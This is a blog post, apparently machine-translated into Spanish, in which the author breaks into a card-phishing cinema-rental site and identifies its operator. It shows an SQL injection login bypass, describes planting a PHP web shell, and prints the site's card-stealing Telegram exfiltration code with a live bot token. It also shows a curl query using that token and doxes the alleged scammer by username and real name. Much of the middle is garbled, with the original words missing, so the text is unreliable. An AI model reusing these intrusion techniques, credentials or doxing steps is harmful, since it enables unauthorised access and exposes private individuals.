Anotación

Cada uno de nosotros puede convertirse en víctima de un atacante, pero a veces el depredador y la presa cambian de lugar.

Esta es una historia corta sobre cómo el uso inepto de la tecnología puede conducir a la divulgación de la personalidad. El artículo será útil tanto para los jóvenes hackers que quieren obtener "dinero fácil" como para aquellos que quieren atraparlos.

Introduccion

Una tarde de febrero, estaba ocupado buscando un lugar para una cita romántica con mi amante. Después de un tiempo, me llamó la atención el sitio milleniumfilm.ru , que actualmente no está disponible. El sitio proporcionó servicios de alquiler para pequeñas salas de cine para ver en privado. Hermosas imágenes, precios razonables, hay soporte en línea, pero una cosa: se propuso ingresar los datos de la tarjeta bancaria en una página desprotegida del mismo dominio. Cauteloso, escribí al soporte técnico del sitio, y los estafadores no tardaron en esperar, dándome cuenta de que yo era lo suficientemente competente técnicamente, me enviaron 3 cartas. Por supuesto, los estafadores no tienen sentido perder el tiempo conmigo, pero ¿por qué tan grosero? - En cualquier situación, debes seguir siendo un hombre.

Puede encontrar comentarios sobre sitios del mismo plan aquí: zhaloba-online.ru . Algunos de ellos aún funcionan.

Piratería

Sintiendo la injusticia universal, para establecer la identidad del atacante y suprimir sus actividades, comencé a estudiar el sitio en busca de vulnerabilidades. ~~Señalando con el dedo hacia el cielo, la~~ primera dirección que ingresé me llevó al panel de administración , que cortésmente me pidió que indicara "Iniciar sesión" y "Contraseña".

Captura de pantalla

~~El primer intento de inyección de SQL~~ La primera contraseña que vino a mi mente

1' or '1

, .

Gelloiss.ru . « » — : , , , cvc2 .

. .

, 3D-secure, . , . , 3D-secure . , , .

« » - . , php-shell. /images/, login.php. , .

telegram.php.

$ cat telegram.php
<?
function send_mess($text) {
  $token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
  $mess = $text;
  $chat = "-302359340";
  /*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
  file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}

PHP - send_mess. , - , .

grep

./cart.php:22:send_mess(" : ".$name."%0D%0AEmail: ".$email."%0D%0A: ".$phone."%0D%0A : ".$date."%0D%0A".": ".$time."%0D%0A: ".$city."%0D%0A: ".$sum."%0D%0A  : ".$services."%0D%0AIP: ".$ip."%0D%0A: ".$link_ban_ip);
./pay/ms.php:21:  send_mess(": ".$sum."%0D%0A  : ".$name."%0D%0A : ".$num."%0D%0A , : ".$month."%0D%0A: ".$year."%0D%0Acvv: ".$cvv);

, -, chat_id, skype «ura7887» telegram «Gelloiss» ( telegram , telegram- ).

gelloiss.ru

, , .

curl

$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}

username — «gelloiss».

: ! : «gelloiss», «ura7887», , «Gelloiss.ru», skype «ura7887».

: vk.com , 6 , 14 .

anime.anidub.com.

blackhacker.ru, .

, Gelloiss.ru telegram, telegram- . , telegram- .

shell

$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8  -

telegram : a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 .

telegram

, . , 100 , +100.

, «». « » .

, . : 3 - 13 . , - , 2 . , , . , moneyonline.world.

Update 2019-04-21: gelloiss , , , telegram:

Message(id=31, grouped_id=None, from_id=898775249, edit_date=None, message=' « » ', to_id=PeerUser(user_id=365019332), entities=[], fwd_from=None, views=None, media=None, post=False, media_unread=False, out=True, date=datetime.datetime(2019, 4, 19, 9, 36, 15, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message='moneyonline.world/pay/?pay=123\n ?)) \n ', to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description='MoneyOnline.com ‒ , . , , . , .', embed_height=None, embed_width=None, document=None, embed_type=None, site_name='MoneyOnline', cached_page=None, url='https://moneyonline.world/pay/?pay=123', display_url='moneyonline.world/ru', duration=None, author=None, embed_url=None, title='MoneyOnline | , , ', type='article')), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

¿Cómo atrapé a un hacker?

Anotación

Introduccion

Piratería

telegram

More articles: